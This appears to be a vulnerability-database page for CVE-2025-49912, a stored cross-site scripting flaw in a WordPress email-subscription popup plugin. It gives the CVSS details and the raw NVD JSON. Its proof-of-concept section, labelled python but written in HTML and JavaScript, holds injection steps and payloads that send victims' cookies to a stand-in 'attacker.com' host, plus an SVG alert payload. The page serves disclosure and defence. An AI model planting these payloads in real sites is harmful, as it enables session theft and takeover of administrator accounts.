Security Vulnerability Report
中文
CVE-2025-49912 CVSS 5.9 MEDIUM

CVE-2025-49912

Published: 2025-10-22 15:15:37
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nks Email Subscription Popup email-subscribe allows Stored XSS.This issue affects Email Subscription Popup: from n/a through <= 1.2.26.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Email Subscription Popup <= 1.2.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-49912 - Stored XSS in Email Subscription Popup Plugin --> <!-- This PoC demonstrates how a privileged user can inject malicious JavaScript --> <!-- that will be executed when other users view the affected page --> <!-- Step 1: Login as a privileged user (admin/editor) to WordPress dashboard --> <!-- Step 2: Navigate to the Email Subscription Popup plugin settings or form --> <!-- Step 3: Inject the following malicious payload into a vulnerable input field --> <!-- (e.g., subscriber name field, custom field, or popup title) --> <script> // Steal cookies and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the admin // fetch('/wp-admin/admin-ajax.php', { // method: 'POST', // headers: {'Content-Type': 'application/x-www-form-urlencoded'}, // body: 'action=create_user&...' // }); </script> <!-- Alternative payload using event handlers (more likely to bypass filters) --> <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> <!-- Alternative payload using SVG --> <svg/onload=alert('XSS-'+document.domain)> <!-- Step 4: Save the malicious input --> <!-- Step 5: Wait for any user (especially admin) to view the page containing the stored payload --> <!-- Step 6: The malicious JavaScript will execute in the victim's browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49912", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:37.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nks Email Subscription Popup email-subscribe allows Stored XSS.This issue affects Email Subscription Popup: from n/a through <= 1.2.26."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/email-subscribe/vulnerability/wordpress-email-subscription-popup-plugin-1-2-26-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}